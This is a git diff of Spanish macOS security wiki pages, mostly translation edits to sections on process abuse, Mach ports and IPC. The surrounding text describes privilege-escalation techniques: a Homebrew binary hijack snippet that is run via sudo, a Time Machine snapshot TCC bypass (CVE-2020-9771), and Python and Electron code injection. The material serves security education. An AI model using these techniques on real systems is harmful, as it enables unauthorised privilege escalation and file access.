- **`Sticky bit`**: Si un directorio tiene el sticky bit, **solo** el **propietario del directorio o root puede renombrar o eliminar** archivos. Típicamente, esto se establece en el directorio /tmp para evitar que los usuarios ordinarios eliminen o muevan archivos de otros usuarios.
@@ -221,7 +221,7 @@ La herramienta afscexpand se puede usar para forzar la descompresión de un arch
## **Universal binaries &** Mach-o Format
-Los binarios de Mac OS generalmente se compilan como **binarios universales**. Un **binario universal** puede **soportar múltiples arquitecturas en el mismo archivo**.
+Los binarios de Mac OS generalmente se compilan como **universal binaries**. Un **universal binary** puede **soportar múltiples arquitecturas en el mismo archivo**.
{{#ref}}
universal-binaries-and-mach-o-format.md
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
index b698cf20a..9b7657322 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
@@ -39,7 +39,7 @@ chmod +x /opt/homebrew/bin/ls
# victim
sudo ls
```
-Tenga en cuenta que un usuario que utiliza el terminal probablemente tendrá **Homebrew instalado**. Por lo tanto, es posible secuestrar binarios en **`/opt/homebrew/bin`**.
+Ten en cuenta que un usuario que utiliza el terminal probablemente tendrá **Homebrew instalado**. Por lo tanto, es posible secuestrar binarios en **`/opt/homebrew/bin`**.
### Suplantación del Dock
@@ -205,8 +205,8 @@ killall Dock
### CVE-2020-9771 - bypass de TCC de mount_apfs y escalación de privilegios
-**Cualquier usuario** (incluso los que no tienen privilegios) puede crear y montar un snapshot de Time Machine y **acceder a TODOS los archivos** de ese snapshot.\
-El **único privilegio** necesario es que la aplicación utilizada (como `Terminal`) tenga acceso **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), lo cual debe ser concedido por un administrador.
+**Cualquier usuario** (incluso los no privilegiados) puede crear y montar un snapshot de Time Machine y **acceder a TODOS los archivos** de ese snapshot.\
+El **único privilegio** necesario es que la aplicación utilizada (como `Terminal`) tenga acceso de **Acceso Completo al Disco** (FDA) (`kTCCServiceSystemPolicyAllfiles`), que debe ser concedido por un administrador.
```bash
# Create snapshot
tmutil localsnapshot
@@ -232,6 +232,7 @@ Una explicación más detallada se puede [**encontrar en el informe original**](
Esto puede ser útil para escalar privilegios:
+
{{#ref}}
macos-files-folders-and-binaries/macos-sensitive-locations.md
{{#endref}}
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md
index 23ba8de99..7fcf81e61 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md
@@ -6,24 +6,24 @@
Un proceso es una instancia de un ejecutable en ejecución, sin embargo, los procesos no ejecutan código, estos son hilos. Por lo tanto, **los procesos son solo contenedores para hilos en ejecución** que proporcionan la memoria, descriptores, puertos, permisos...
-Tradicionalmente, los procesos se iniciaban dentro de otros procesos (excepto el PID 1) llamando a **`fork`**, que crearía una copia exacta del proceso actual y luego el **proceso hijo** generalmente llamaría a **`execve`** para cargar el nuevo ejecutable y ejecutarlo. Luego, se introdujo **`vfork`** para hacer este proceso más rápido sin copiar memoria.\
+Tradicionalmente, los procesos se iniciaban dentro de otros procesos (excepto PID 1) llamando a **`fork`**, que crearía una copia exacta del proceso actual y luego el **proceso hijo** generalmente llamaría a **`execve`** para cargar el nuevo ejecutable y ejecutarlo. Luego, se introdujo **`vfork`** para hacer este proceso más rápido sin copiar memoria.\
Luego se introdujo **`posix_spawn`** combinando **`vfork`** y **`execve`** en una sola llamada y aceptando flags:
- `POSIX_SPAWN_RESETIDS`: Restablecer ids efectivos a ids reales
- `POSIX_SPAWN_SETPGROUP`: Establecer la afiliación del grupo de procesos
-- `POSUX_SPAWN_SETSIGDEF`: Establecer el comportamiento predeterminado de la señal
-- `POSIX_SPAWN_SETSIGMASK`: Establecer la máscara de señal
+- `POSUX_SPAWN_SETSIGDEF`: Establecer el comportamiento predeterminado de señales
+- `POSIX_SPAWN_SETSIGMASK`: Establecer la máscara de señales
- `POSIX_SPAWN_SETEXEC`: Ejecutar en el mismo proceso (como `execve` con más opciones)
- `POSIX_SPAWN_START_SUSPENDED`: Iniciar suspendido
- `_POSIX_SPAWN_DISABLE_ASLR`: Iniciar sin ASLR
- `_POSIX_SPAWN_NANO_ALLOCATOR:` Usar el asignador Nano de libmalloc
- `_POSIX_SPAWN_ALLOW_DATA_EXEC:` Permitir `rwx` en segmentos de datos
-- `POSIX_SPAWN_CLOEXEC_DEFAULT`: Cerrar todas las descripciones de archivo en exec(2) por defecto
+- `POSIX_SPAWN_CLOEXEC_DEFAULT`: Cerrar todas las descripciones de archivos en exec(2) por defecto
- `_POSIX_SPAWN_HIGH_BITS_ASLR:` Aleatorizar los bits altos del deslizamiento de ASLR
-Además, `posix_spawn` permite especificar un array de **`posix_spawnattr`** que controla algunos aspectos del proceso generado, y **`posix_spawn_file_actions`** para modificar el estado de los descriptores.
+Además, `posix_spawn` permite especificar un array de **`posix_spawnattr`** que controla algunos aspectos del proceso creado, y **`posix_spawn_file_actions`** para modificar el estado de los descriptores.
-Cuando un proceso muere, envía el **código de retorno al proceso padre** (si el padre murió, el nuevo padre es PID 1) con la señal `SIGCHLD`. El padre necesita obtener este valor llamando a `wait4()` o `waitid()` y hasta que eso suceda, el hijo permanece en un estado zombi donde todavía está listado pero no consume recursos.
+Cuando un proceso muere, envía el **código de retorno al proceso padre** (si el padre murió, el nuevo padre es PID 1) con la señal `SIGCHLD`. El padre necesita obtener este valor llamando a `wait4()` o `waitid()` y hasta que eso ocurra, el hijo permanece en un estado zombi donde todavía está listado pero no consume recursos.
### PIDs
@@ -34,15 +34,15 @@ Los PIDs, identificadores de procesos, identifican un proceso único. En XNU, lo
**Los procesos** pueden ser insertados en **grupos** para facilitar su manejo. Por ejemplo, los comandos en un script de shell estarán en el mismo grupo de procesos, por lo que es posible **señalarlos juntos** usando kill, por ejemplo.\
También es posible **agrupar procesos en sesiones**. Cuando un proceso inicia una sesión (`setsid(2)`), los procesos hijos se establecen dentro de la sesión, a menos que inicien su propia sesión.
-La coalición es otra forma de agrupar procesos en Darwin. Un proceso que se une a una coalición le permite acceder a recursos compartidos, compartiendo un libro de contabilidad o enfrentándose a Jetsam. Las coaliciones tienen diferentes roles: Líder, servicio XPC, Extensión.
+La coalición es otra forma de agrupar procesos en Darwin. Un proceso que se une a una coalición le permite acceder a recursos compartidos, compartiendo un libro mayor o enfrentándose a Jetsam. Las coaliciones tienen diferentes roles: Líder, servicio XPC, Extensión.
### Credenciales y Personas
-Cada proceso tiene **credenciales** que **identifican sus privilegios** en el sistema. Cada proceso tendrá un `uid` primario y un `gid` primario (aunque puede pertenecer a varios grupos).\
+Cada proceso mantiene **credenciales** que **identifican sus privilegios** en el sistema. Cada proceso tendrá un `uid` primario y un `gid` primario (aunque puede pertenecer a varios grupos).\
También es posible cambiar el id de usuario y el id de grupo si el binario tiene el bit `setuid/setgid`.\
Hay varias funciones para **establecer nuevos uids/gids**.
-La syscall **`persona`** proporciona un conjunto **alternativo** de **credenciales**. Adoptar una persona asume su uid, gid y membresías de grupo **a la vez**. En el [**código fuente**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h) es posible encontrar la estructura:
+La syscall **`persona`** proporciona un conjunto **alternativo** de **credenciales**. Adoptar una persona asume su uid, gid y membresías de grupo **de una vez**. En el [**código fuente**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h) es posible encontrar la estructura:
```c
struct kpersona_info { uint32_t persona_info_version;
uid_t persona_id; /* overlaps with UID */
@@ -59,18 +59,18 @@ char persona_name[MAXLOGNAME + 1];
## Información Básica sobre Hilos
1. **Hilos POSIX (pthreads):** macOS soporta hilos POSIX (`pthreads`), que son parte de una API de subprocesos estándar para C/C++. La implementación de pthreads en macOS se encuentra en `/usr/lib/system/libsystem_pthread.dylib`, que proviene del proyecto `libpthread` disponible públicamente. Esta biblioteca proporciona las funciones necesarias para crear y gestionar hilos.
-2. **Creación de Hilos:** La función `pthread_create()` se utiliza para crear nuevos hilos. Internamente, esta función llama a `bsdthread_create()`, que es una llamada al sistema de nivel inferior específica del núcleo XNU (el núcleo en el que se basa macOS). Esta llamada al sistema toma varias banderas derivadas de `pthread_attr` (atributos) que especifican el comportamiento del hilo, incluidas las políticas de programación y el tamaño de la pila.
-- **Tamaño de Pila por Defecto:** El tamaño de pila por defecto para nuevos hilos es de 512 KB, lo cual es suficiente para operaciones típicas, pero se puede ajustar a través de los atributos del hilo si se necesita más o menos espacio.
-3. **Inicialización de Hilos:** La función `__pthread_init()` es crucial durante la configuración del hilo, utilizando el argumento `env[]` para analizar las variables de entorno que pueden incluir detalles sobre la ubicación y el tamaño de la pila.
+2. **Creación de Hilos:** La función `pthread_create()` se utiliza para crear nuevos hilos. Internamente, esta función llama a `bsdthread_create()`, que es una llamada al sistema de nivel inferior específica del núcleo XNU (el núcleo en el que se basa macOS). Esta llamada al sistema toma varias banderas derivadas de `pthread_attr` (atributos) que especifican el comportamiento del hilo, incluyendo políticas de programación y tamaño de pila.
+- **Tamaño de Pila por Defecto:** El tamaño de pila por defecto para nuevos hilos es de 512 KB, lo cual es suficiente para operaciones típicas, pero puede ajustarse a través de atributos de hilo si se necesita más o menos espacio.
+3. **Inicialización de Hilos:** La función `__pthread_init()` es crucial durante la configuración del hilo, utilizando el argumento `env[]` para analizar variables de entorno que pueden incluir detalles sobre la ubicación y tamaño de la pila.
#### Terminación de Hilos en macOS
-1. **Salida de Hilos:** Los hilos se terminan típicamente llamando a `pthread_exit()`. Esta función permite que un hilo salga de manera limpia, realizando la limpieza necesaria y permitiendo que el hilo envíe un valor de retorno a cualquier unidor.
-2. **Limpieza de Hilos:** Al llamar a `pthread_exit()`, se invoca la función `pthread_terminate()`, que maneja la eliminación de todas las estructuras de hilo asociadas. Desasigna puertos de hilo Mach (Mach es el subsistema de comunicación en el núcleo XNU) y llama a `bsdthread_terminate`, una syscall que elimina las estructuras a nivel de núcleo asociadas con el hilo.
+1. **Salida de Hilos:** Los hilos se terminan típicamente llamando a `pthread_exit()`. Esta función permite que un hilo salga de manera limpia, realizando la limpieza necesaria y permitiendo que el hilo envíe un valor de retorno a cualquier hilo que lo haya unido.
+2. **Limpieza de Hilos:** Al llamar a `pthread_exit()`, se invoca la función `pthread_terminate()`, que maneja la eliminación de todas las estructuras de hilo asociadas. Desasigna puertos de hilo Mach (Mach es el subsistema de comunicación en el núcleo XNU) y llama a `bsdthread_terminate`, una llamada al sistema que elimina las estructuras a nivel de núcleo asociadas con el hilo.
#### Mecanismos de Sincronización
-Para gestionar el acceso a recursos compartidos y evitar condiciones de carrera, macOS proporciona varias primitivas de sincronización. Estas son críticas en entornos de múltiples hilos para garantizar la integridad de los datos y la estabilidad del sistema:
+Para gestionar el acceso a recursos compartidos y evitar condiciones de carrera, macOS proporciona varios primitivos de sincronización. Estos son críticos en entornos de múltiples hilos para garantizar la integridad de los datos y la estabilidad del sistema:
1. **Mutexes:**
- **Mutex Regular (Firma: 0x4D555458):** Mutex estándar con una huella de memoria de 60 bytes (56 bytes para el mutex y 4 bytes para la firma).
@@ -81,7 +81,7 @@ Para gestionar el acceso a recursos compartidos y evitar condiciones de carrera,
3. **Variable Once (Firma: 0x4f4e4345):**
- Asegura que un fragmento de código de inicialización se ejecute solo una vez. Su tamaño es de 12 bytes.
4. **Bloqueos de Lectura-Escritura:**
-- Permite múltiples lectores o un escritor a la vez, facilitando el acceso eficiente a datos compartidos.
+- Permiten múltiples lectores o un escritor a la vez, facilitando el acceso eficiente a datos compartidos.
- **Bloqueo de Lectura-Escritura (Firma: 0x52574c4b):** Tamaño de 196 bytes.
- **Atributos de Bloqueo de Lectura-Escritura (Firma: 0x52574c41):** Atributos para bloqueos de lectura-escritura, de 20 bytes de tamaño.
@@ -92,7 +92,7 @@ Para gestionar el acceso a recursos compartidos y evitar condiciones de carrera,
**Variables Locales de Hilo (TLV)** en el contexto de archivos Mach-O (el formato para ejecutables en macOS) se utilizan para declarar variables que son específicas de **cada hilo** en una aplicación multihilo. Esto asegura que cada hilo tenga su propia instancia separada de una variable, proporcionando una forma de evitar conflictos y mantener la integridad de los datos sin necesidad de mecanismos de sincronización explícitos como mutexes.
-En C y lenguajes relacionados, puedes declarar una variable local de hilo utilizando la **`__thread`** palabra clave. Aquí está cómo funciona en tu ejemplo:
+En C y lenguajes relacionados, puedes declarar una variable local de hilo utilizando la palabra clave **`__thread`**. Aquí está cómo funciona en tu ejemplo:
```c
cCopy code__thread int tlv_var;
@@ -100,7 +100,7 @@ void main (int argc, char **argv){
tlv_var = 10;
}
```
-Este fragmento define `tlv_var` como una variable local de hilo. Cada hilo que ejecuta este código tendrá su propio `tlv_var`, y los cambios que un hilo haga a `tlv_var` no afectarán a `tlv_var` en otro hilo.
+Este fragmento define `tlv_var` como una variable local de hilo. Cada hilo que ejecute este código tendrá su propio `tlv_var`, y los cambios que un hilo realice en `tlv_var` no afectarán a `tlv_var` en otro hilo.
En el binario Mach-O, los datos relacionados con las variables locales de hilo están organizados en secciones específicas:
@@ -124,7 +124,7 @@ Entender las prioridades de hilo implica observar cómo el sistema operativo dec
#### Clases de Calidad de Servicio (QoS)
-Las clases de QoS son un enfoque más moderno para manejar las prioridades de hilo, particularmente en sistemas como macOS que soportan **Grand Central Dispatch (GCD)**. Las clases de QoS permiten a los desarrolladores **categorizar** el trabajo en diferentes niveles según su importancia o urgencia. macOS gestiona la priorización de hilos automáticamente según estas clases de QoS:
+Las clases de QoS son un enfoque más moderno para manejar las prioridades de hilo, particularmente en sistemas como macOS que soportan **Grand Central Dispatch (GCD)**. Las clases de QoS permiten a los desarrolladores **categorizar** el trabajo en diferentes niveles según su importancia o urgencia. macOS gestiona la priorización de hilos automáticamente en función de estas clases de QoS:
1. **Interacción del Usuario:**
- Esta clase es para tareas que están interactuando actualmente con el usuario o requieren resultados inmediatos para proporcionar una buena experiencia de usuario. Estas tareas reciben la prioridad más alta para mantener la interfaz receptiva (por ejemplo, animaciones o manejo de eventos).
@@ -226,14 +226,14 @@ macos-ruby-applications-injection.md
### Inyección de Python
Si la variable de entorno **`PYTHONINSPECT`** está configurada, el proceso de Python caerá en un CLI de Python una vez que haya terminado. También es posible usar **`PYTHONSTARTUP`** para indicar un script de Python que se ejecute al comienzo de una sesión interactiva.\
-Sin embargo, ten en cuenta que el script **`PYTHONSTARTUP`** no se ejecutará cuando **`PYTHONINSPECT`** cree la sesión interactiva.
+Sin embargo, ten en cuenta que el script **`PYTHONSTARTUP`** no se ejecutará cuando **`PYTHONINSPECT`** crea la sesión interactiva.
Otras variables de entorno como **`PYTHONPATH`** y **`PYTHONHOME`** también podrían ser útiles para hacer que un comando de Python ejecute código arbitrario.
Ten en cuenta que los ejecutables compilados con **`pyinstaller`** no usarán estas variables ambientales incluso si se están ejecutando usando un Python embebido.
> [!CAUTION]
-> En general, no pude encontrar una manera de hacer que Python ejecute código arbitrario abusando de las variables de entorno.\
+> En general, no pude encontrar una manera de hacer que Python ejecute código arbitrario abusando de variables de entorno.\
> Sin embargo, la mayoría de las personas instalan Python usando **Homebrew**, que instalará Python en una **ubicación escribible** para el usuario administrador predeterminado. Puedes secuestrarlo con algo como:
>
> ```bash
@@ -256,12 +256,12 @@ Ten en cuenta que los ejecutables compilados con **`pyinstaller`** no usarán es
- Usando **Variables Ambientales**: Monitoreará la presencia de cualquiera de las siguientes variables ambientales: **`DYLD_INSERT_LIBRARIES`**, **`CFNETWORK_LIBRARY_PATH`**, **`RAWCAMERA_BUNDLE_PATH`** y **`ELECTRON_RUN_AS_NODE`**
- Usando llamadas **`task_for_pid`**: Para encontrar cuándo un proceso quiere obtener el **puerto de tarea de otro** que permite inyectar código en el proceso.
-- **Parámetros de aplicaciones Electron**: Alguien puede usar los argumentos de línea de comando **`--inspect`**, **`--inspect-brk`** y **`--remote-debugging-port`** para iniciar una aplicación Electron en modo de depuración, y así inyectar código en ella.
+- **Parámetros de aplicaciones Electron**: Alguien puede usar el argumento de línea de comandos **`--inspect`**, **`--inspect-brk`** y **`--remote-debugging-port`** para iniciar una aplicación Electron en modo de depuración, y así inyectar código en ella.
- Usando **symlinks** o **hardlinks**: Típicamente, el abuso más común es **colocar un enlace con nuestros privilegios de usuario**, y **apuntarlo a una ubicación de mayor privilegio**. La detección es muy simple tanto para hardlinks como para symlinks. Si el proceso que crea el enlace tiene un **nivel de privilegio diferente** al del archivo objetivo, creamos una **alerta**. Desafortunadamente, en el caso de symlinks, el bloqueo no es posible, ya que no tenemos información sobre el destino del enlace antes de su creación. Esta es una limitación del marco de EndpointSecurity de Apple.
### Llamadas realizadas por otros procesos
-En [**esta publicación de blog**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) puedes encontrar cómo es posible usar la función **`task_name_for_pid`** para obtener información sobre otros **procesos que inyectan código en un proceso** y luego obtener información sobre ese otro proceso.
+En [**este blog**](https://knight.sc/reverse%20engineering/2019/04/15/detecting-task-modifications.html) puedes encontrar cómo es posible usar la función **`task_name_for_pid`** para obtener información sobre otros **procesos que inyectan código en un proceso** y luego obtener información sobre ese otro proceso.
Ten en cuenta que para llamar a esa función necesitas ser **el mismo uid** que el que ejecuta el proceso o **root** (y devuelve información sobre el proceso, no una forma de inyectar código).
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md
index a1ceccfbd..fa11483c8 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md
@@ -31,7 +31,7 @@ Los derechos de puerto, que definen qué operaciones puede realizar una tarea, s
- **Derecho de conjunto de puertos**, que denota un _conjunto de puertos_ en lugar de un solo puerto. Desencolar un mensaje de un conjunto de puertos desencola un mensaje de uno de los puertos que contiene. Los conjuntos de puertos se pueden usar para escuchar en varios puertos simultáneamente, muy parecido a `select`/`poll`/`epoll`/`kqueue` en Unix.
- **Nombre muerto**, que no es un derecho de puerto real, sino simplemente un marcador de posición. Cuando un puerto es destruido, todos los derechos de puerto existentes al puerto se convierten en nombres muertos.
-**Las tareas pueden transferir derechos de ENVÍO a otros**, permitiéndoles enviar mensajes de vuelta. **Los derechos de ENVÍO también pueden ser clonados, por lo que una tarea puede duplicar y otorgar el derecho a una tercera tarea**. Esto, combinado con un proceso intermediario conocido como el **servidor de arranque**, permite una comunicación efectiva entre tareas.
+**Las tareas pueden transferir derechos de ENVÍO a otros**, permitiéndoles enviar mensajes de vuelta. **Los derechos de ENVÍO también pueden ser clonados, por lo que una tarea puede duplicar y dar el derecho a una tercera tarea**. Esto, combinado con un proceso intermediario conocido como el **servidor de arranque**, permite una comunicación efectiva entre tareas.
### Puertos de Archivo
@@ -43,15 +43,15 @@ Como se mencionó anteriormente, es posible enviar derechos utilizando mensajes
Para esto, el **servidor de arranque** (**launchd** en mac) está involucrado, ya que **cualquiera puede obtener un derecho de ENVÍO al servidor de arranque**, es posible pedirle un derecho para enviar un mensaje a otro proceso:
-1. La tarea **A** crea un **nuevo puerto**, obteniendo el **DERECHO DE RECEPCIÓN** sobre él.
-2. La tarea **A**, siendo la titular del DERECHO DE RECEPCIÓN, **genera un DERECHO DE ENVÍO para el puerto**.
-3. La tarea **A** establece una **conexión** con el **servidor de arranque**, y **le envía el DERECHO DE ENVÍO** para el puerto que generó al principio.
-- Recuerde que cualquiera puede obtener un DERECHO DE ENVÍO al servidor de arranque.
+1. La tarea **A** crea un **nuevo puerto**, obteniendo el **derecho de RECEPCIÓN** sobre él.
+2. La tarea **A**, siendo la titular del derecho de RECEPCIÓN, **genera un derecho de ENVÍO para el puerto**.
+3. La tarea **A** establece una **conexión** con el **servidor de arranque**, y **le envía el derecho de ENVÍO** para el puerto que generó al principio.
+- Recuerde que cualquiera puede obtener un derecho de ENVÍO al servidor de arranque.
4. La tarea A envía un mensaje `bootstrap_register` al servidor de arranque para **asociar el puerto dado con un nombre** como `com.apple.taska`
-5. La tarea **B** interactúa con el **servidor de arranque** para ejecutar una **búsqueda de arranque para el nombre del servicio** (`bootstrap_lookup`). Para que el servidor de arranque pueda responder, la tarea B le enviará un **DERECHO DE ENVÍO a un puerto que creó previamente** dentro del mensaje de búsqueda. Si la búsqueda es exitosa, el **servidor duplica el DERECHO DE ENVÍO** recibido de la Tarea A y **lo transmite a la Tarea B**.
-- Recuerde que cualquiera puede obtener un DERECHO DE ENVÍO al servidor de arranque.
-6. Con este DERECHO DE ENVÍO, **la Tarea B** es capaz de **enviar** un **mensaje** **a la Tarea A**.
-7. Para una comunicación bidireccional, generalmente la tarea **B** genera un nuevo puerto con un **DERECHO DE RECEPCIÓN** y un **DERECHO DE ENVÍO**, y otorga el **DERECHO DE ENVÍO a la Tarea A** para que pueda enviar mensajes a la TAREA B (comunicación bidireccional).
+5. La tarea **B** interactúa con el **servidor de arranque** para ejecutar una búsqueda de arranque **lookup para el nombre del servicio** (`bootstrap_lookup`). Para que el servidor de arranque pueda responder, la tarea B le enviará un **derecho de ENVÍO a un puerto que creó previamente** dentro del mensaje de búsqueda. Si la búsqueda es exitosa, el **servidor duplica el DERECHO DE ENVÍO** recibido de la tarea A y **lo transmite a la tarea B**.
+- Recuerde que cualquiera puede obtener un derecho de ENVÍO al servidor de arranque.
+6. Con este derecho de ENVÍO, **la tarea B** es capaz de **enviar** un **mensaje** **a la tarea A**.
+7. Para una comunicación bidireccional, generalmente la tarea **B** genera un nuevo puerto con un **DERECHO DE RECEPCIÓN** y un **DERECHO DE ENVÍO**, y otorga el **DERECHO DE ENVÍO a la tarea A** para que pueda enviar mensajes a la TAREA B (comunicación bidireccional).
El servidor de arranque **no puede autenticar** el nombre del servicio reclamado por una tarea. Esto significa que una **tarea** podría potencialmente **suplantar cualquier tarea del sistema**, como falsamente **reclamando un nombre de servicio de autorización** y luego aprobando cada solicitud.
@@ -59,16 +59,16 @@ Luego, Apple almacena los **nombres de los servicios proporcionados por el siste
Para estos servicios predefinidos, el **proceso de búsqueda difiere ligeramente**. Cuando se busca un nombre de servicio, launchd inicia el servicio dinámicamente. El nuevo flujo de trabajo es el siguiente:
-- La tarea **B** inicia una **búsqueda de arranque** para un nombre de servicio.
+- La tarea **B** inicia una búsqueda de arranque **lookup** para un nombre de servicio.
- **launchd** verifica si la tarea está en ejecución y, si no lo está, **la inicia**.
-- La tarea **A** (el servicio) realiza un **check-in de arranque** (`bootstrap_check_in()`). Aquí, el **servidor de arranque** crea un DERECHO DE ENVÍO, lo retiene y **transfiere el DERECHO DE RECEPCIÓN a la Tarea A**.
-- launchd duplica el **DERECHO DE ENVÍO y se lo envía a la Tarea B**.
-- La tarea **B** genera un nuevo puerto con un **DERECHO DE RECEPCIÓN** y un **DERECHO DE ENVÍO**, y otorga el **DERECHO DE ENVÍO a la Tarea A** (el svc) para que pueda enviar mensajes a la TAREA B (comunicación bidireccional).
+- La tarea **A** (el servicio) realiza un **check-in de arranque** (`bootstrap_check_in()`). Aquí, el **servidor de arranque** crea un derecho de ENVÍO, lo retiene y **transfiere el derecho de RECEPCIÓN a la tarea A**.
+- launchd duplica el **DERECHO DE ENVÍO y se lo envía a la tarea B**.
+- La tarea **B** genera un nuevo puerto con un **DERECHO DE RECEPCIÓN** y un **DERECHO DE ENVÍO**, y otorga el **DERECHO DE ENVÍO a la tarea A** (el svc) para que pueda enviar mensajes a la TAREA B (comunicación bidireccional).
Sin embargo, este proceso solo se aplica a tareas del sistema predefinidas. Las tareas no del sistema aún operan como se describió originalmente, lo que podría permitir potencialmente la suplantación.
> [!CAUTION]
-> Por lo tanto, launchd nunca debe fallar o todo el sistema se bloqueará.
+> Por lo tanto, launchd nunca debe fallar o todo el sistema fallará.
### Un Mensaje Mach
@@ -110,7 +110,7 @@ Los tipos que se pueden especificar en el voucher, puertos locales y remotos son
```
Por ejemplo, `MACH_MSG_TYPE_MAKE_SEND_ONCE` se puede usar para **indicar** que un **derecho de envío único** debe ser derivado y transferido para este puerto. También se puede especificar `MACH_PORT_NULL` para evitar que el destinatario pueda responder.
-Para lograr una **comunicación bidireccional** fácil, un proceso puede especificar un **puerto mach** en el **encabezado del mensaje mach** llamado el _puerto de respuesta_ (**`msgh_local_port`**) donde el **receptor** del mensaje puede **enviar una respuesta** a este mensaje.
+Para lograr una **comunicación bidireccional** fácil, un proceso puede especificar un **puerto mach** en el **encabezado del mensaje** mach llamado el _puerto de respuesta_ (**`msgh_local_port`**) donde el **receptor** del mensaje puede **enviar una respuesta** a este mensaje.
> [!TIP]
> Tenga en cuenta que este tipo de comunicación bidireccional se utiliza en mensajes XPC que esperan una respuesta (`xpc_connection_send_message_with_reply` y `xpc_connection_send_message_with_reply_sync`). Pero **generalmente se crean diferentes puertos** como se explicó anteriormente para crear la comunicación bidireccional.
@@ -125,7 +125,7 @@ Los otros campos del encabezado del mensaje son:
> [!CAUTION]
> Tenga en cuenta que **los mensajes mach se envían a través de un `mach port`**, que es un canal de comunicación **de un solo receptor**, **múltiples remitentes** integrado en el núcleo mach. **Múltiples procesos** pueden **enviar mensajes** a un puerto mach, pero en cualquier momento solo **un solo proceso puede leer** de él.
-Los mensajes se forman entonces por el **encabezado `mach_msg_header_t`** seguido del **cuerpo** y por el **trailer** (si lo hay) y puede otorgar permiso para responder a él. En estos casos, el núcleo solo necesita pasar el mensaje de una tarea a la otra.
+Los mensajes se forman entonces por el encabezado **`mach_msg_header_t`** seguido del **cuerpo** y del **trailer** (si lo hay) y puede otorgar permiso para responder a él. En estos casos, el núcleo solo necesita pasar el mensaje de una tarea a la otra.
Un **trailer** es **información añadida al mensaje por el núcleo** (no puede ser establecida por el usuario) que puede ser solicitada en la recepción del mensaje con las banderas `MACH_RCV_TRAILER_` (hay diferente información que se puede solicitar).
@@ -268,8 +268,8 @@ name ipc-object rights flags boost reqs recv send sonce oref q
[...]
```
El **nombre** es el nombre predeterminado dado al puerto (ver cómo **aumenta** en los primeros 3 bytes). El **`ipc-object`** es el **identificador** único **ofuscado** del puerto.\
-También note cómo los puertos con solo derechos de **`send`** están **identificando al propietario** de este (nombre del puerto + pid).\
-También note el uso de **`+`** para indicar **otras tareas conectadas al mismo puerto**.
+También nota cómo los puertos con solo derechos de **`send`** están **identificando al propietario** de este (nombre del puerto + pid).\
+También nota el uso de **`+`** para indicar **otras tareas conectadas al mismo puerto**.
También es posible usar [**procesxp**](https://www.newosxbook.com/tools/procexp.html) para ver también los **nombres de servicio registrados** (con SIP deshabilitado debido a la necesidad de `com.apple.system-task-port`):
```
@@ -451,11 +451,9 @@ world.*/
#define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */
#define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */
```
-Desde [aquí](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task_get_special_port.html):
-
- **TASK_KERNEL_PORT**\[derecho de envío de tarea-propia]: El puerto utilizado para controlar esta tarea. Se utiliza para enviar mensajes que afectan a la tarea. Este es el puerto devuelto por **mach_task_self (ver Puertos de Tarea a continuación)**.
-- **TASK_BOOTSTRAP_PORT**\[derecho de envío de arranque]: El puerto de arranque de la tarea. Se utiliza para enviar mensajes solicitando la devolución de otros puertos de servicio del sistema.
-- **TASK_HOST_NAME_PORT**\[derecho de envío de host-propio]: El puerto utilizado para solicitar información del host que contiene. Este es el puerto devuelto por **mach_host_self**.
+- **TASK_BOOTSTRAP_PORT**\[derecho de envío de arranque]: El puerto de arranque de la tarea. Se utiliza para enviar mensajes solicitando el retorno de otros puertos de servicio del sistema.
+- **TASK_HOST_NAME_PORT**\[derecho de envío de host-propio]: El puerto utilizado para solicitar información del host contenedor. Este es el puerto devuelto por **mach_host_self**.
- **TASK_WIRED_LEDGER_PORT**\[derecho de envío de libro mayor]: El puerto que nombra la fuente de la que esta tarea obtiene su memoria de kernel fija.
- **TASK_PAGED_LEDGER_PORT**\[derecho de envío de libro mayor]: El puerto que nombra la fuente de la que esta tarea obtiene su memoria gestionada por defecto.
@@ -465,7 +463,7 @@ Originalmente Mach no tenía "procesos", tenía "tareas", que se consideraban m
Hay dos funciones muy interesantes relacionadas con esto:
-- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Obtiene un derecho de ENVÍO para el puerto de tarea de la tarea relacionada con el especificado por el `pid` y lo otorga al `target_task_port` indicado (que generalmente es la tarea llamadora que ha utilizado `mach_task_self()`, pero podría ser un puerto de ENVÍO sobre una tarea diferente).
+- `task_for_pid(target_task_port, pid, &task_port_of_pid)`: Obtiene un derecho de ENVÍO para el puerto de tarea de la tarea relacionada con el especificado por el `pid` y lo otorga al `target_task_port` indicado (que suele ser la tarea llamadora que ha utilizado `mach_task_self()`, pero podría ser un puerto de ENVÍO sobre una tarea diferente).
- `pid_for_task(task, &pid)`: Dado un derecho de ENVÍO a una tarea, encuentra a qué PID está relacionada esta tarea.
Para realizar acciones dentro de la tarea, la tarea necesitaba un derecho de `ENVÍO` a sí misma llamando a `mach_task_self()` (que utiliza el `task_self_trap` (28)). Con este permiso, una tarea puede realizar varias acciones como:
@@ -481,15 +479,15 @@ Para realizar acciones dentro de la tarea, la tarea necesitaba un derecho de `EN
> [!CAUTION]
